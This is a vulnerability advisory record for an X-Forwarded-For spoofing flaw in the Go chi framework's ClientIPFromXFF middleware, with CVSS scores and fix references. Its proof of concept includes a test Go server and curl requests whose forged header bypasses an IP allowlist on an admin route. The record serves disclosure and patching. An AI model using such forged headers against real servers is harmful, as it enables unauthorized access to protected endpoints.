{"id":"CVE-2026-114437","aliases":["CVE-2026-114437","GHSA-j6qf-3m9c-vwj3"],"related":[],"kind":"vulnerability","state":"published","title":"Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For","summary":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).\n\n**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.\n\n1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.\n2. Observe a `403 Forbidden` response and an empty derived client IP.\n3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.\n4. Observe `200 OK` and `client-ip=\"10.0.0.7\"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.\n\n### Details\n\nThe vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:\n\n```go\nwalkXFF(r.Header[xForwardedForHeader], func(v string) bool {\n\tip, ok := parseHeaderAddr(v)\n\tif !ok {\n\t\treturn true\n\t}\n\tif inAnyPrefix(ip, prefixes) {\n\t\treturn false\n\t}\n\tfound = ip\n\treturn true\n})\n```\n\nThe function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.\n\n### Proof of concept\n\nUsing Go 1.24 or later, create and run this minimal application against the tested revision:\n\n```sh\nmkdir chi-clientip-poc\ncd chi-clientip-poc\ngo mod init clientip-poc\ngo get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1\ncat > main.go <<'EOF'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/go-chi/chi/v5/middleware\"\n)\n\nconst allowedIP = \"10.0.0.7\"\n\nfunc main() {\n\tr := chi.NewRouter()\n\tr.Use(middleware.ClientIPFromXFF(\"198.51.100.0/24\"))\n\tr.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n\t\tclientIP := middleware.GetClientIP(r.Context())\n\t\tif clientIP != allowedIP {\n\t\t\thttp.Error(w, fmt.Sprintf(\"denied: tcp-peer=%q client-ip=%q\", r.RemoteAddr, clientIP), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprintf(w, \"allowed: tcp-peer=%q client-ip=%q\\n\", r.RemoteAddr, clientIP)\n\t})\n\n\tlog.Print(\"listening on http://127.0.0.1:3001\")\n\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:3001\", r))\n}\nEOF\ngo run .\n```\n\nThe no-header control was rejected:\n\n```console\n$ curl --http1.1 -i http://127.0.0.1:3001/admin\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nX-Content-Type-Options: nosniff\nDate: Tue, 06 Oct 2026 15:46:27 GMT\nContent-Length: 48\n\ndenied: tcp-peer=\"127.0.0.1:54416\" client-ip=\"\"\n```\n\nAdding the forged chain authorized the same direct client:\n\n```console\n$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin\nHTTP/1.1 200 OK\nDate: Tue, 06 Oct 2026 15:46:33 GMT\nContent-Length: 57\nContent-Type: text/plain; charset=utf-8\n\nallowed: tcp-peer=\"127.0.0.1:54417\" client-ip=\"10.0.0.7\"\n```\n\n### Impact\n\nI made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.","format":"markdown","source":"ghsa"}],"published":"2026-10-21T13:52:25.617Z","modified":"2026-10-23T21:15:03.935Z","severity":{"scorer":"tenable","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.3,"rating":"MEDIUM"},"severities":[{"scorer":"tenable","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},{"scorer":"tenable","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"}],"cwes":["CWE-345","CWE-348"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"5.4.0","status":"affected"}],"vendor":"go-chi","product":"chi","package":"github.com/go-chi/chi/v5","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.4.0"}],"ecosystem":"Go","package":"github.com/go-chi/chi/v5","purl":"pkg:golang/github.com/go-chi/chi/v5","source":"ghsa"}],"references":[{"url":"https://www.tenable.com/security/research/tra-2026-66","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114437","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/go-chi/chi/pull/1214","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/go-chi/chi","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/go-chi/chi/releases/tag/v5.4.0","tags":["web"],"sources":["ghsa"]}],"credits":["Joshua Martinelle"],"assigner":"tenable","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-10-21T15:16:38.882Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-114437","url":"https://www.cve.org/CVERecord?id=CVE-2026-114437","licence":"CVE Terms of Use","modified":"2026-10-21T17:19:13.809Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j6qf-3m9c-vwj3","url":"https://github.com/advisories/GHSA-j6qf-3m9c-vwj3","licence":"CC-BY-4.0","modified":"2026-10-23T21:15:03.935Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-114437","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114437","licence":"Public domain","modified":"2026-10-21T18:17:27.563Z"}],"updatedAt":"2026-11-25T22:59:46.608Z","epss":{"score":0.00129,"percentile":0.02791,"date":"2026-12-01T12:00:22.000Z"}}